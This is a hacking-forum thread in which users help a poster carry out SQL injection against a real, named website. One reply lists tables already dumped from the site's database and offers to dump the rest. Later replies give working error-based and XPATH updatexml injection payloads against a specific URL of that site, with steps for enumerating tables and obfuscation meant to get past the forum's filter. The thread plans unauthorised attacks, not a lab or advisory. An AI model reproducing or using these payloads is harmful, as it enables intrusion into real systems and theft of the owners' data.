

Forum:[Hack Forums](#)

Thread: [Is this site sqli vulnerable?](#)

EncodedLoss - January 20, 2020, 12:28 am

Currently trying to sqli this (pastebin link [pastebin/jKn1UEVY](#)) site but it only seems to have one column and trying to access it with version() only errors it out. any help is appreciated!

KoYoGotit - January 20, 2020, 2:19 am

Yes its exploitable

here's the dump of their main db named : db_40_drewapen

Database: db_40_drewapen

[14 tables]

```
+-----+
| current      |
| about        |
| articles     |
| concerts     |
| contact_cv   |
| highlights   |
| news        |
| pict         |
| pict_concerts |
| pict_current |
| pict_highlights |
| pict_news    |
| projects     |
| relations    |
+-----+
```

it got exploited pretty easy with no evasion and so on, you can dump their full db in no time.
do you need help dumping it ?

Money- - January 20, 2020, 3:24 am

(Jan 20, 2020 03:19 AM)KoYoGotit Wrote: [\[CITE\]](#) Yes its exploitable

here's the dump of their main db named : db_40_drewapen

Database: db_40_drewapen

[14 tables]

```
+-----+
| current      |
| about        |
| articles     |
| concerts     |
| contact_cv   |
| highlights   |
| news        |
| pict         |
| pict_concerts |
| pict_current |
| pict_highlights |
+-----+
```

```
| pict_news      |  
| projects      |  
| relations      |  
+-----+
```

it got exploited pretty easy with no evasion and so on, you can dump their full db in no time.
do you need help dumping it ?

I guess he's asking for manual Injection help. That was dump via SQLmap right?

EncodedLoss - January 20, 2020, 3:56 am

(Jan 20, 2020 04:24 AM)Money- Wrote: [\[CITE\]](#) I guess he's asking for manual Injection help. That was dump via SQLmap right?

I was manually injecting yeah, trying to figure out what sqlmap did what i couldnt, appreciate the reply though!

KoYoGotit - January 20, 2020, 5:10 am

Sorry mate didnt notice that

sqlmap is way more powerful then manual cause he can hex the commands and trying with different techniques when one is not working, and can save time a lot.

ghonter - February 1, 2020, 8:56 pm

you can try with sqli error based

for version : site/bla?id=-67

+OR+1+GROUP+BY+CONCAT_WS(0x3a,VERSION()),FLOOR(RAND(0)*2))+HAVING+MIN(0)+OR+1

rbblue - February 2, 2020, 7:14 pm

Union based is probably not possible here, because same query is used somewhere else... I recommend you to try injecting with XPATH updatexml function, it's more simple, and faster than usual error based injection.

<http://www.drewapenaar.nl/project.php?id=-67> and
upda/texml(0x3a,conc/at(0x3a,ver/sion(),0x3a),null)--

check the page source code, and you will see the version:

Error : XPATH syntax error: ':5.5.54-0ubuntu0.12.04.1:'

now you can just change version() to

(select table_/name from information_/schema.tables where table_/sche/ma=dat/abase() limit 0,1)

so it becomes like this:

<http://www.drewapenaar.nl/project.php?id=-67> and updat/exml(0x3a,conc/at(0x3a,(select table/_name from informa/tion_/schema.ta/bles where table/_schema=databa/se() limit 0,1),0x3a),null)

and it's the same concept for every step.

just remove " / " as i added it because of hackforums waf.